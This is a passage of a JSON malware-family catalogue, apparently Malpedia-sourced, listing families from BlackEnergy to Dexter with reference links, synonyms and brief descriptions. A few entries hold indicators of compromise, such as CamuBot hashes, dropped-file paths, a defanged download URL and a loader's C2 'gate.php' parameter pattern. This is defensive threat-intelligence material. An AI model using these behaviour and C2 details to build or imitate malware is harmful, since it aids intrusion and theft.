      "value": "BLACKCOFFEE"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.blackenergy",
          "https://securelist.com/blackenergy-apt-attacks-in-ukraine-employ-spearphishing-with-word-documents/73440/",
          "https://securelist.com/be2-extraordinary-plugins-siemens-targeting-dev-fails/68838/",
          "https://marcusedmondson.com/2019/01/18/black-energy-analysis/",
          "https://securelist.com/be2-custom-plugins-router-abuse-and-target-profiles/67353/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "82c644ab-550a-4a83-9b35-d545f4719069",
      "value": "BlackEnergy"
    },
    {
      "description": "BlackPOS infects computers running on Windows that have credit card readers connected to them and are part of a POS system. POS system computers can be easily infected if they do not have the most up to date operating systems and antivirus programs to prevent security breaches or if the computer database systems have weak administration login credentials. ",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.blackpos",
          "https://blog.trendmicro.com/trendlabs-security-intelligence/new-blackpos-malware-emerges-in-the-wild-targets-retail-accounts/"
        ],
        "synonyms": [
          "Kaptoxa",
          "POSWDS",
          "Reedum"
        ],
        "type": []
      },
      "uuid": "1e62fc1f-daa7-416f-9159-099798bb862c",
      "value": "BlackPOS"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.blackrevolution",
          "https://www.arbornetworks.com/blog/asert/the-revolution-will-be-written-in-delphi/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "6a5bd819-5fbc-437b-92c4-ce0dfb5c67f8",
      "value": "BlackRevolution"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.blackrouter",
          "https://www.bleepingcomputer.com/news/security/blackrouter-ransomware-promoted-as-a-raas-by-iranian-developer/",
          "https://blog.trendmicro.com/trendlabs-security-intelligence/legitimate-application-anydesk-bundled-with-new-ransomware-variant/"
        ],
        "synonyms": [
          "BLACKHEART"
        ],
        "type": []
      },
      "uuid": "0b235fbf-c191-47c0-ae83-9386a64b1c79",
      "value": "BlackRouter"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.blackshades",
          "https://blog.malwarebytes.com/threat-analysis/2014/05/taking-off-the-blackshades/",
          "https://blog.malwarebytes.com/threat-analysis/2012/06/blackshades-in-syria/",
          "http://contagiodump.blogspot.com/2012/06/rat-samples-from-syrian-targeted.html",
          "https://blog.malwarebytes.com/threat-analysis/2012/06/you-dirty-rat-part-2-blackshades-net/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "0fb57d46-1c4f-49a3-80c2-05bcaa34ec1b",
      "value": "BlackShades"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.boaxxe",
          "https://www.welivesecurity.com/2014/03/18/operation-windigo-the-vivisection-of-a-large-linux-server-side-credential-stealing-malware-campaign/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "2f11eb73-4faa-48c5-b217-11e139962c6f",
      "value": "Boaxxe"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.bohmini"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "444ca9d1-7128-40fa-9665-654194dfbe0b",
      "value": "Bohmini"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.bolek",
          "https://asert.arbornetworks.com/communications-bolek-trojan/",
          "http://www.cert.pl/news/11379"
        ],
        "synonyms": [
          "KBOT"
        ],
        "type": []
      },
      "uuid": "d3af810f-e657-409c-b821-4b1cf727ad18",
      "value": "Bolek"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.bouncer",
          "https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "80487bca-7629-4cb2-bf5b-993d5568b699",
      "value": "Bouncer"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.bozok",
          "https://www.fireeye.com/blog/threat-research/2013/10/know-your-enemy-tracking-a-rapidly-evolving-apt-actor.html",
          "https://unit42.paloaltonetworks.com/unit42-projectm-link-found-between-pakistani-actor-and-operation-transparent-tribe"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "f9d0e934-879c-4668-b959-6bf7bdc96f5d",
      "value": "Bozok"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.brain",
          "https://www.welivesecurity.com/2017/01/18/flashback-wednesday-pakistani-brain/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "1619ee64-fc54-47c0-8ee1-8b786fefc0fd",
      "value": "BRAIN"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.brambul",
          "https://www.us-cert.gov/ncas/alerts/TA18-149A",
          "https://www.us-cert.gov/ncas/analysis-reports/AR18-149A",
          "https://www.acalvio.com/lateral-movement-technique-employed-by-hidden-cobra/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "d97ae60e-612a-4feb-908a-8c4d32e9d763",
      "value": "Brambul"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.bravonc",
          "https://www.symantec.com/connect/blogs/wannacry-ransomware-attacks-show-strong-links-lazarus-group"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "fbed27da-551d-4793-ba7e-128256326909",
      "value": "BravoNC"
    },
    {
      "description": "This is a backdoor which FireEye call the Breach Remote Administration Tool (BreachRAT), written in C++. The malware name is derived from the hardcoded PDB path found in the RAT: C:\\Work\\Breach Remote Administration Tool\\Release\\Client.pdb",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.breach_rat",
          "https://www.fireeye.com/blog/threat-research/2016/06/apt_group_sends_spea.html"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "52cf2986-89e8-463d-90b6-e4356c9777e7",
      "value": "BreachRAT"
    },
    {
      "description": "There is no reference available for this family and all known samples have version 1.0.0.\r\n\r\nPdb-strings in the samples suggest that this is an \"exclusive\" loader, known as \"breakthrough\" (maybe), e.g. C:\\Users\\Exclusiv\\Desktop\\хп-пробив\\Release\\build.pdb\r\n\r\nThe communication url parameters are pretty unique in this combination:\r\ngate.php?hwid=<guid>&os=<OS>&build=1.0.0&cpu=8\r\n\r\n<OS> is one of:\r\nWindows95\r\nWindows98\r\nWindowsMe\r\nWindows95family\r\nWindowsNT3\r\nWindowsNT4\r\nWindows2000\r\nWindowsXP\r\nWindowsServer2003\r\nWindowsNTfamily\r\nWindowsVista\r\nWindows7\r\nWindows8\r\nWindows10\r\n",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.breakthrough_loader"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "a05b8e4b-a686-439f-8094-037fbcda52bd",
      "value": "Breakthrough"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.bredolab",
          "https://securelist.com/end-of-the-line-for-the-bredolab-botnet/36335/",
          "https://www.fireeye.com/blog/threat-research/2010/10/bredolab-its-not-the-size-of-the-dog-in-fight.html"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "55d343a1-7e80-4254-92eb-dfb433b91a90",
      "value": "Bredolab"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.brushaloader",
          "https://blog.talosintelligence.com/2019/02/combing-through-brushaloader.html"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "75a03c4f-8a97-4fc0-a69e-b2e73e4564fc",
      "value": "BrushaLoader"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.brutpos",
          "https://www.fireeye.com/blog/threat-research/2014/07/brutpos-rdp-bruteforcing-botnet-targeting-pos-systems.html"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "e413c33a-badd-49a1-8d44-c9a0983b5151",
      "value": "BrutPOS"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.bs2005",
          "https://github.com/nccgroup/Royal_APT",
          "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "35e00ff0-704e-4e61-b9bb-9ed20a4a008f",
      "value": "BS2005"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.btcware",
          "https://www.bleepingcomputer.com/news/security/new-nuclear-btcware-ransomware-released-updated/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "d29786c6-2cc0-4e2f-97b0-242a1d9e9bf8",
      "value": "BTCWare"
    },
    {
      "description": "BUBBLEWRAP is a full-featured backdoor that is set to run when the system boots, and can communicate using HTTP, HTTPS, or a SOCKS proxy. This backdoor collects system information, including the operating system version and hostname, and includes functionality to check, upload, and register plugins that can further enhance its capabilities.",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.bubblewrap",
          "https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html",
          "https://attack.mitre.org/software/S0043/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "d114ee6c-cf7d-408a-8077-d59e736f5a66",
      "value": "BUBBLEWRAP"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.bugat_alreadydump"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "16794655-c0e2-4510-9169-f862df104045",
      "value": "Bugat"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.buhtrap",
          "https://malware-research.org/carbanak-source-code-leaked/",
          "https://www.symantec.com/connect/blogs/russian-bank-employees-received-fake-job-offers-targeted-email-attack",
          "https://www.welivesecurity.com/2015/04/09/operation-buhtrap/",
          "https://www.group-ib.com/brochures/gib-buhtrap-report.pdf",
          "https://www.arbornetworks.com/blog/asert/diving-buhtrap-banking-trojan-activity/",
          "https://blog.dcso.de/pegasus-buhtrap-analysis-of-the-malware-stage-based-on-the-leaked-source-code/"
        ],
        "synonyms": [
          "Ratopak"
        ],
        "type": []
      },
      "uuid": "fa278536-8293-4717-86b5-8a03aa11063f",
      "value": "Buhtrap"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.bundestrojaner",
          "http://www.stoned-vienna.com/analysis-of-german-bundestrojaner.html",
          "https://www.f-secure.com/weblog/archives/00002249.html",
          "http://www.ccc.de/system/uploads/76/original/staatstrojaner-report23.pdf"
        ],
        "synonyms": [
          "0zapftis",
          "R2D2"
        ],
        "type": []
      },
      "uuid": "04aeda9f-7923-45d1-ab74-9dddd8612d47",
      "value": "Bundestrojaner"
    },
    {
      "description": "Bunitu is a trojan that exposes infected computers to be used as a proxy for remote clients. It registers itself at startup by providing its address and open ports. Access to Bunitu proxies is available by using criminal VPN services (e.g.VIP72).",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.bunitu",
          "https://malwarebreakdown.com/2018/03/21/fobos-malvertising-campaign-delivers-bunitu-proxy-trojan-via-rig-ek/",
          "https://zerophagemalware.com/2017/06/07/rig-ek-via-fake-eve-online-website-drops-bunitu/",
          "http://malware-traffic-analysis.net/2017/05/09/index.html",
          "https://broadanalysis.com/2019/04/12/rig-exploit-kit-delivers-bunitu-malware/",
          "https://blog.malwarebytes.com/threat-analysis/2015/07/revisiting-the-bunitu-trojan/",
          "https://blog.malwarebytes.com/threat-analysis/2015/08/whos-behind-your-proxy-uncovering-bunitus-secrets/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "4350b52a-8100-49b5-848d-d4a4029e949d",
      "value": "Bunitu"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.buterat",
          "http://antivirnews.blogspot.com/2011/01/backdoorwin32-buteratafj.html"
        ],
        "synonyms": [
          "spyvoltar"
        ],
        "type": []
      },
      "uuid": "cd4ee7f0-394e-4129-a1dc-d5fb423f2311",
      "value": "Buterat"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.buzus",
          "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Worm:Win32/Yimfoca.A"
        ],
        "synonyms": [
          "Yimfoca"
        ],
        "type": []
      },
      "uuid": "69a3e0ed-1727-4a9c-ae21-1e32322ede93",
      "value": "Buzus"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.byeby",
          "https://researchcenter.paloaltonetworks.com/2017/09/unit42-threat-actors-target-government-belarus-using-cmstar-trojan"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "12886243-55b6-4864-bf7a-7e2439e3a4c1",
      "value": "BYEBY"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.c0d0so0"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "b6b187d0-e19f-489a-91c0-7c94519555f6",
      "value": "c0d0so0"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.cabart"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "fe1d51d8-f0e8-4f71-bf5c-724f7d4a824c",
      "value": "CabArt"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.cadelspy",
          "http://www.symantec.com/content/en/us/enterprise/media/security_response/docs/CadelSpy-Remexi-IOC.pdf"
        ],
        "synonyms": [
          "Cadelle"
        ],
        "type": []
      },
      "uuid": "cad83c5e-2081-4ab4-81c7-32cfc16eae66",
      "value": "CadelSpy"
    },
    {
      "description": "There is no lot of IOCs in this article so we take one sample and try to extract some interesting IOCs, our findings below :\r\n\r\nCamuBot sample : 37ca2e37e1dc26d6b66ba041ed653dc8ee43e1db71a705df4546449dd7591479\r\n\r\nDropped Files on disk :\r\n\r\nC:\\Users\\user~1\\AppData\\Local\\Temp\\protecao.exe : 0af612461174eedec813ce670ba35e74a9433361eacb3ceab6d79232a6fe13c1\r\n\r\nC:\\Users\\user~1\\AppData\\Local\\Temp\\Renci.SshNet.dll : 3E3CD9E8D94FC45F811720F5E911B892A17EE00F971E498EAA8B5CAE44A6A8D8\r\n\r\nC:\\ProgramData\\m.msi : AD90D4ADFED0BDCB2E56871B13CC7E857F64C906E2CF3283D30D6CFD24CD2190\r\n\r\nProtecao.exe try to download hxxp://www.usb-over-network.com/usb-over-network-64bit.msi\r\n\r\nA new driver is installed : C:\\Windows\\system32\\drivers\\ftusbload2.sys : 9255E8B64FB278BC5FFE5B8F70D68AF8\r\n\r\nftusbload2.sys set 28 IRP handlers.",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.camubot",
          "https://securityintelligence.com/camubot-new-financial-malware-targets-brazilian-banking-customers/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "ecac83ab-cd64-4def-979a-40aeeca0400b",
      "value": "CamuBot"
    },
    {
      "description": "Cannibal Rat is a python written remote access trojan with 4 versions as of March 2018. The RAT is reported to impact users of a Brazilian public sector management school. The RAT is distributed in a py2exe format, with the python27.dll and the python bytecode stored as a PE resource and the additional libraries zipped in the overlay of the executable.",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.cannibal_rat",
          "http://blog.talosintelligence.com/2018/02/cannibalrat-targets-brazil.html"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "1e722d81-085e-4beb-8901-aa27fe502dba",
      "value": "Cannibal Rat"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.cannon",
          "https://www.vkremez.com/2018/11/lets-learn-in-depth-on-sofacy-canon.html",
          "https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "3fada5b6-0b3d-4b83-97c9-2157c959704c",
      "value": "Cannon"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.carbanak",
          "https://www.fireeye.com/blog/threat-research/2019/04/carbanak-week-part-one-a-rare-occurrence.html",
          "https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html",
          "https://www.fox-it.com/en/wp-content/uploads/sites/11/Anunak_APT-against-financial-institutions2.pdf",
          "https://securelist.com/files/2015/02/Carbanak_APT_eng.pdf"
        ],
        "synonyms": [
          "Anunak"
        ],
        "type": []
      },
      "uuid": "8c246ec4-eaa5-42c0-b137-29f28cbb6832",
      "value": "Carbanak"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.carberp"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "8f0d4866-7c67-4376-a6f2-958224d3c9d0",
      "value": "Carberp"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.cardinal_rat",
          "http://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/?adbsc=social71702736&adbid=855028404965433346&adbpl=tw&adbpr=4487645412",
          "https://unit42.paloaltonetworks.com/cardinal-rat-sins-again-targets-israeli-fin-tech-firms/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "3d3da4c0-004c-400c-9da6-f83fd35d907e",
      "value": "Cardinal RAT"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.carrotbat",
          "https://unit42.paloaltonetworks.com/unit42-the-fractured-block-campaign-carrotbat-malware-used-to-deliver-malware-targeting-southeast-asia/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "4ad06a5f-12e6-44ae-9547-98ee62114357",
      "value": "CarrotBat"
    },
    {
      "description": "ESET describes Casper as a well-developed reconnaissance tool, making extensive efforts to remain unseen on targeted machines. Of particular note are the specific strategies adopted against anti-malware software. Casper was used against Syrian targets in April 2014, which makes it the most recent malware from this group publicly known at this time.",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.casper",
          "https://www.welivesecurity.com/2015/03/05/casper-malware-babar-bunny-another-espionage-cartoon/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "3198501e-0ff0-43b7-96f0-321b463ab656",
      "value": "Casper"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.catchamas",
          "https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "8060dbdc-cf31-40bc-9900-eb8119423c50",
      "value": "Catchamas"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.ccleaner_backdoor",
          "https://blog.avast.com/new-investigations-in-ccleaner-incident-point-to-a-possible-third-stage-that-had-keylogger-capacities",
          "https://blog.avast.com/additional-information-regarding-the-recent-ccleaner-apt-security-incident",
          "http://www.intezer.com/evidence-aurora-operation-still-active-part-2-more-ties-uncovered-between-ccleaner-hack-chinese-hackers/",
          "https://blog.avast.com/avast-threat-labs-analysis-of-ccleaner-incident",
          "http://blog.talosintelligence.com/2017/09/avast-distributes-malware.html",
          "http://www.intezer.com/evidence-aurora-operation-still-active-supply-chain-attack-through-ccleaner/",
          "https://blog.avast.com/progress-on-ccleaner-investigation",
          "https://www.wired.com/story/ccleaner-malware-targeted-tech-firms",
          "https://blog.avast.com/update-ccleaner-attackers-entered-via-teamviewer",
          "https://twitter.com/craiu/status/910148928796061696",
          "https://www.crowdstrike.com/blog/protecting-software-supply-chain-deep-insights-ccleaner-backdoor/",
          "http://blog.morphisec.com/morphisec-discovers-ccleaner-backdoor",
          "https://www.crowdstrike.com/blog/in-depth-analysis-of-the-ccleaner-backdoor-stage-2-dropper-and-its-payload/",
          "http://blog.talosintelligence.com/2017/09/ccleaner-c2-concern.html"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "c51ee09b-fc2d-41fd-a43b-426a4f337139",
      "value": "CCleaner Backdoor"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.centerpos",
          "https://www.fireeye.com/blog/threat-research/2016/01/centerpos_an_evolvi.html"
        ],
        "synonyms": [
          "cerebrus"
        ],
        "type": []
      },
      "uuid": "fca8c5e0-4fef-408c-bcd7-9826271e8e5d",
      "value": "CenterPOS"
    },
    {
      "description": "A prolific ransomware which originally added \".cerber\" as a file extension to encrypted files. Has undergone multiple iterations in which the extension has changed. Uses a very readily identifiable set of of UDP activity to checkin and report infections. Primarily uses TOR for payment information.",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.cerber",
          "http://blog.trendmicro.com/trendlabs-security-intelligence/cerber-starts-evading-machine-learning/",
          "https://rinseandrepeatanalysis.blogspot.com/2018/08/reversing-cerber-raas.html",
          "https://blog.malwarebytes.com/threat-analysis/2016/03/cerber-ransomware-new-but-mature/",
          "https://www.virusbulletin.com/virusbulletin/2017/12/vb2017-paper-nine-circles-cerber/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "79a7203a-6ea5-4c39-abd4-faa20cf8821a",
      "value": "Cerber"
    },
    {
      "description": "This malware family delivers its artifacts packed with free and generic packers. It writes files to windows temporary folders, downloads additional malware (generally cryptominers) and deletes itself.",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.cerbu_miner"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "ba7706c1-7d2a-4031-9acc-cb862860da1a",
      "value": "Cerbu"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.chainshot",
          "https://researchcenter.paloaltonetworks.com/2018/09/unit42-slicing-dicing-cve-2018-5002-payloads-new-chainshot-malware/",
          "https://www.icebrg.io/blog/adobe-flash-zero-day-targeted-attack"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "36f9a5e0-9a78-4b9a-9072-1596c91b59b6",
      "value": "Chainshot"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.chches",
          "https://www.cylance.com/en_us/blog/the-deception-project-a-new-japanese-centric-threat.html",
          "https://www.jpcert.or.jp/magazine/acreport-ChChes_ps1.html",
          "http://researchcenter.paloaltonetworks.com/2017/02/unit42-menupass-returns-new-malware-new-attacks-japanese-academics-organizations/",
          "https://www.jpcert.or.jp/magazine/acreport-ChChes.html",
          "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf"
        ],
        "synonyms": [
          "Ham Backdoor"
        ],
        "type": []
      },
      "uuid": "6eee9bf9-ffce-4c88-a5ad-9d80f6fc727c",
      "value": "ChChes"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.cherry_picker",
          "https://www.trustwave.com/Resources/SpiderLabs-Blog/Shining-the-Spotlight-on-Cherry-Picker-PoS-Malware/",
          "https://www.trustwave.com/Resources/SpiderLabs-Blog/New-Memory-Scraping-Technique-in-Cherry-Picker-PoS-Malware/"
        ],
        "synonyms": [
          "cherry_picker",
          "cherrypicker",
          "cherrypickerpos"
        ],
        "type": []
      },
      "uuid": "e6ab90d3-8011-4927-a0cd-eab57e7971aa",
      "value": "CherryPicker POS"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.chewbacca",
          "http://vinsula.com/2014/03/01/chewbacca-tor-based-pos-malware/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "2137a0ce-8d06-4538-ad0b-6ab6ec865493",
      "value": "ChewBacca"
    },
    {
      "description": "a simple code injection webshell that executes Microsoft .NET code within HTTP POST commands. This allows the shell to upload and download files, execute applications with web server account permissions, list directory contents, access Active Directory, access databases, and any other action allowed by the .NET runtime.",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.chinachopper",
          "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html",
          "https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html",
          "https://informationonsecurity.blogspot.com/2012/11/china-chopper-webshell.html",
          "https://attack.mitre.org/software/S0020/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "0d8f0bb7-e14f-4b85-baa1-6ec951aa6c53",
      "value": "CHINACHOPPER"
    },
    {
      "description": "Adware that shows advertisements using plugin techniques for popular browsers",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.chinad"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "098cfb93-8921-48f0-a694-a83f350e8a61",
      "value": "Chinad"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.chir"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "59b5697a-5154-4c08-87f8-c71b0e8425fc",
      "value": "Chir"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.chthonic",
          "https://www.proofpoint.com/us/threat-insight/post/threat-actors-using-legitimate-paypal-accounts-to-distribute-chthonic-banking-trojan",
          "https://www.s21sec.com/en/blog/2017/07/androkins/",
          "https://securelist.com/chthonic-a-new-modification-of-zeus/68176/"
        ],
        "synonyms": [
          "AndroKINS"
        ],
        "type": []
      },
      "uuid": "9441a589-e23d-402d-9603-5e55e3e33971",
      "value": "Chthonic"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.citadel",
          "http://www.xylibox.com/2016/02/citadel-0011-atmos.html",
          "http://blog.jpcert.or.jp/2016/02/banking-trojan--27d6.html",
          "https://blog.malwarebytes.com/threat-analysis/2012/11/citadel-a-cyber-criminals-ultimate-weapon/",
          "https://www.arbornetworks.com/blog/asert/the-citadel-and-gameover-campaigns-of-5cb682c10440b2ebaf9f28c1fe438468/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "7f550cae-98b7-4a0c-bed2-d79227dc6310",
      "value": "Citadel"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.client_maximus",
          "https://securityintelligence.com/client-maximus-new-remote-overlay-malware-highlights-rising-malcode-sophistication-in-brazil/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "c2bd0771-55d6-4242-986d-4bfd735998ba",
      "value": "Client Maximus"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.cloud_duke",
          "https://www.f-secure.com/weblog/archives/00002822.html"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "40baac36-2fd0-49b3-b05b-1087d60f4f2c",
      "value": "Cloud Duke"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.cmsbrute",
          "https://securelist.com/the-shade-encryptor-a-double-threat/72087/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "ad960c5c-f2a1-405e-a32a-31f75b7c6859",
      "value": "CMSBrute"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.cmstar",
          "https://twitter.com/ClearskySec/status/963829930776723461",
          "https://www.votiro.com/single-post/2018/02/13/New-campaign-targeting-Ukrainians-holds-secrets-in-documents-properties",
          "https://researchcenter.paloaltonetworks.com/2017/09/unit42-threat-actors-target-government-belarus-using-cmstar-trojan",
          "https://researchcenter.paloaltonetworks.com/2016/03/digital-quartermaster-scenario-demonstrated-in-attacks-against-the-mongolian-government/"
        ],
        "synonyms": [
          "meciv"
        ],
        "type": []
      },
      "uuid": "e4e15ab4-9ba6-444a-b154-2854757e792e",
      "value": "CMSTAR"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.coalabot",
          "https://malware.dontneedcoffee.com/2017/10/coalabot-http-ddos-bot.html"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "7acd9a27-f550-4c47-9fc8-429b61b04217",
      "value": "CoalaBot"
    },
    {
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          "https://kc.mcafee.com/resources/sites/MCAFEE/content/live/PRODUCT_DOCUMENTATION/25000/PD25658/en_US/McAfee_Labs_Threat_Advisory-LusyPOS.pdf",
          "https://blog.fortinet.com/2014/03/10/how-dexter-steals-credit-card-information",
          "https://blog.trendmicro.com/trendlabs-security-intelligence/infostealer-dexter-targets-checkout-systems/"
        ],
        "synonyms": [
          "LusyPOS"
        ],
        "type": []
      },
      "uuid": "f44e6d03-54c0-47af-b228-0040299c349c",
      "value": "Dexter"
    },
    {
